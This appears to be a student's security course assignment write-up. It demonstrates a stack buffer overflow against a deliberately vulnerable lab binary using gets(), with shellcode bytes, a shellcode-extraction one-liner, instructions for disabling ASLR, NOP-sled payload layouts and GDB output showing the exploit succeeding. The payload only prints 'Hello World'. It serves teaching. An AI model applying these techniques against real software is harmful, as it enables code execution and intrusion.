Networks and Systems Security
Assignment 2

The Assembly Code:

The assembly code is a simple one written in .asm format which is compiled using the netwide assembler. It simply consists of a *_start* label (equivalent to main()) which jumps to *somewhere_random* label (to avoid a null in the shellcode) which first calls the *print_hello* method. As a call instruction implicitly pushes the next instruction address, we declare a pointer to a string “Hello World” (without null, tab space or newline characters) right after the call instruction. Hence, in the *print_hello* method, we can pop the value at the top of the stack to get the pointer to the string into the **rsi** register. We then put the value 1 into **rax** and **rdi** and 11 into **rdx** (size of string), preferring to use **push-pop** instead of **mov** to reduce shellcode size and do a syscall to print the string. After this, we put the value 60 into **rax** and do syscall to gracefully exit

It can be compiled by running **make assemble** or simply **make**. It creates an object file named **shellcode.o** and an executable file named **shellcode**. It can be executed by typing **./shellcode**. The temporary file and executable can be deleted by running **make clean**.

The Shellcode:

We can look at the actual shellcode by looking at the contents of the object file using **objdump -D shellcode.o** and the shellcode will simply be a list of all the respective hexadecimal values in the file. As a shortcut, we can simply run the following command [source]:

objdump -d ./shellcode.o | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

The command gives the entire shellcode, which in our case is as follows:

\xeb\x13\x5e\x6a\x01\x58\x50\x5f\x6a\x0c\x5a\x0f\x05\x6a\x3c\x58\x6a\x0b\x5f\x0f\x05\xe8\xe8\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64

We are now in a position to exploit the vulnerability

Please note, the following steps can be performed on your system by setting stack randomization to zero by adding the following lines to /etc/sysctl.conf:
kernel.randomize_va_space = 0
kernel.exec-shield = 0

The Actual Exploit:

We will start by first finding the buffer size by binary searching string length manually (e.g. 1, 1000, 500, 250, 125, 62, 93, 77, 69, 73, 71, 72). We find that 71 is valid, but 72 starts causing issues. This is because the string of length 72 fills up the buffer completely, leaving no space for the null character to signify the end of the string. Hence, the buffer size is 72

To exploit the buffer overflow vulnerability we must basically fill up the buffer and in the address just after the buffer, we must add the value corresponding to the address of the shellcode. To save ourselves the discomfort of having to exactly find the shellcode address (and due to the fact that the address seemed to change even inside GDB), we put some NOP instructions before the shellcode, so if the address points to any NOP instructions, it will end up leading to the shellcode anyways

Now, we need to find the stack address. We do so in the following way:

```
agamdeepbains@agamdeepbains-Lenovo-ideapad-330-15IKB:~/Desktop/Curr/NSSII/Assignment 2$ gdb ./victim-exec-stack
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./victim-exec-stack...
(No debugging symbols found in ./victim-exec-stack)
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004005b6 <+0>:     push   rbp
   0x00000000004005b7 <+1>:     mov    rbp,rsp
   0x00000000004005ba <+4>:     sub    rsp,0x40
   0x00000000004005be <+8>:     mov    edi,0x400684
   0x00000000004005c3 <+13>:    call   0x400470 <puts@plt>
   0x00000000004005c8 <+18>:    lea    rax,[rbp-0x40]
   0x00000000004005cc <+22>:    mov    rdi,rax
   0x00000000004005cf <+25>:    mov    eax,0x0
   0x00000000004005d4 <+30>:    call   0x4004a0 <gets@plt>
   0x00000000004005d9 <+35>:    lea    rax,[rbp-0x40]
   0x00000000004005dd <+39>:    mov    rsi,rax
   0x00000000004005e0 <+42>:    mov    edi,0x400699
   0x00000000004005e5 <+47>:    mov    eax,0x0
   0x00000000004005ea <+52>:    call   0x400480 <printf@plt>
   0x00000000004005ef <+57>:    mov    eax,0x0
   0x00000000004005f4 <+62>:    leave
   0x00000000004005f5 <+63>:    ret
End of assembler dump.
(gdb) break *0x4005f4
Breakpoint 1 at 0x4005f4
(gdb)
```

- Run **gdb ./victim-exec-stack**

- Run **set disassembly-flavor intel** and **disassemble main** to get the disassembled code and put a breakpoint at the leave instruction, in our case, by running **break *0x4005f4**

We can now run the code. Input any value you wish. At the breakpoint, run **x/80x $rsp** to get the first 60 words on the stack. The values on the stack are of no consequence to us. We simply need the address of the top of the stack, which is written to the left of the first group of 4 words (which can change). In our case, we get **0x7fffffffde20**

Finally, the string which will cause the magic. This can be done in 2 ways, depending on the size of your shellcode or personal preference:

- Method 1: Can work only if shellcode+nops<=buffer
  The string first consists of an arbitrary number of NOPs (‘\x90’), followed by the shellcode. The rest of the buffer is padded with any arbitrary character other than null, tab space or newline. The value just after buffer size is the address of the top of the stack
- Method 2: Can work even if shellcode>buffer
  The string first consists of buffer size numbers of any arbitrary character other than null, tab space or newline. The value just after buffer size is the address of the top of the stack offset by buffer size+8 (+8 for the address itself, as we are using 64 bit addressing). After this, we add an arbitrary number of NOPs followed by the shellcode

To exploit the vulnerability, we first generate the string using python and output it into a file by running **python exploit.py > input** while ensuring the **address** variable in the code is equal to the **top of the stack**. We then run GDB similarly to before and type **run < input**. We see the buffer value is output (most of it is gibberish, but we might see the “Hello World” that is defined in the shellcode), but at the end, we see a “Hello World” in a line by itself after which the code gracefully exits

```
(gdb) run
Starting program: /home/agamdeepbains/Desktop/Curr/NSSII/Assignment 2/victim-exec-stack
Enter text for name:
AGAMDEEP BAINS
content of buffer: AGAMDEEP BAINS

Breakpoint 1, 0x00000000004005f4 in main ()
(gdb) x/80x $rsp
0x7fffffffde20: 0x4d414741      0x50454544      0x49414220      0x0000534e
0x7fffffffde30: 0xf7fa4fc8      0x00007fff      0x00400600      0x00000000
0x7fffffffde40: 0x00000000      0x00000000      0x004004c0      0x00000000
0x7fffffffde50: 0xffffdf50      0x00007fff      0x00000000      0x00000000
0x7fffffffde60: 0x00000000      0x00000000      0xf7ddb0b3      0x00007fff
0x7fffffffde70: 0xf7ffc620      0x00007fff      0xffffdf58      0x00007fff
0x7fffffffde80: 0x00000000      0x00000001      0x004005b6      0x00000000
0x7fffffffde90: 0x00400600      0x00000000      0x53924ec0      0x0d174e5e
0x7fffffffdea0: 0x004004c0      0x00000000      0xffffdf50      0x00007fff
0x7fffffffdeb0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdec0: 0xef724ec0      0xf2e8b1a1      0x335c4ec0      0xf2e8a1e5
0x7fffffffded0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdee0: 0x00000000      0x00000000      0x00000001      0x00000000
0x7fffffffdef0: 0xffffdf58      0x00007fff      0xffffdf68      0x00007fff
0x7fffffffdf00: 0xf7ffe190      0x00007fff      0x00000000      0x00000000
0x7fffffffdf10: 0x00000000      0x00000000      0x004004c0      0x00000000
0x7fffffffdf20: 0xffffdf50      0x00007fff      0x00000000      0x00000000
0x7fffffffdf30: 0x00000000      0x00000000      0x004004e9      0x00000000
0x7fffffffdf40: 0xffffdf48      0x00007fff      0x0000001c      0x00000000
0x7fffffffdf50: 0x00000001      0x00000000      0xffffe27a      0x00007fff
(gdb) c
Continuing.
[Inferior 1 (process 19738) exited normally]
(gdb) run < input
Starting program: /home/agamdeepbains/Desktop/Curr/NSSII/Assignment 2/victim-exec-stack < input
Enter text for name:
content of buffer: ◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆^jXP_j
                                                  Zj<Xj
                                                       _◆◆◆◆◆Hello World      ◆◆◆◆

Breakpoint 1, 0x00000000004005f4 in main ()
(gdb) c
Continuing.
Hello World [Inferior 1 (process 19828) exited with code 013]
(gdb)
```

Please note, if running the code causes Segmentation Fault or Illegal Instruction errors, set up a breakpoint like before and check the address of the top of the stack as it may have changed